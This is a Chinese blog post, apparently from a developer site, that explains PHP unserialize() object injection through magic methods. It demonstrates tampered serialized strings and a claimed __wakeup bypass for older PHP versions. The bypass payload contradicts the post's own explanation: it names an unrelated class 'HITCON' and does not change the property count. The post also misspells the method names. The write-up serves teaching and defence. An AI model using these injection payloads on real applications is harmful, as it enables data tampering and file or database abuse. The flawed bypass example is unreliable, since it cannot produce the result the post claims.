php unserialize实例,php unserialize()/wakeup()引发的漏洞

unserialize和serialize这里不做赘述。

unserialize的漏洞在magic function上,如果一个类定义了__wakup()和__destruct(),则该类的实例被反序列化时,会自动调用__wakeup(), 生命周期结束时,则调用__desturct()。

下面提供一个简单的demo.

class Demo

{

public $data;

public function __construct($data)

{

$this->data = $data;

echo "construct
";

}

public function __wakeup()

{

echo "wake up
";

}

public function __destruct()

{

echo "Data's value is $this->data.
";

echo "destruct
";

}

}

var_dump(serialize(new Demo("raw value")));

输出

construct

Data's value is raw value.

destruct

string(44) "O:4:"Demo":1:{s:4:"data";s:9:"raw value";}"

```

把序列化的字符串修改一下后,执行

```unserialize('O:4:"Demo":1:{s:4:"data";s:15:"malicious value";}');```

输出

```

wake up

Data's value is malicious value.

destruct

```

这里看到,值被修改了.

上面是一个unserialize()的简单应用,不难看出,如果\_\_wakeup()或者 \_\_desturct()有敏感操作,比如读写文件、操作数据库,就可以通过函数实现文件读写或者数据读取的行为。

那么,在\_\_wakeup()中加入判断是否可以阻止这个漏洞呢?

在\_\_wakeup()中我们加入一行代码

```

public function __wakeup()

{

if($this->data != 'raw value') $this->data = 'raw value';

echo "wake up
";

}

```

但其实还是可以绕过的,在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本都存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过,于是使用下面的payload

```unserialize('O:7:"HITCON":1:{s:4:"data";s:15:"malicious value";}');```

输出

```

Data's value is malicious value.

destruct

```

这里wakeup被绕过,值依旧被修改了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值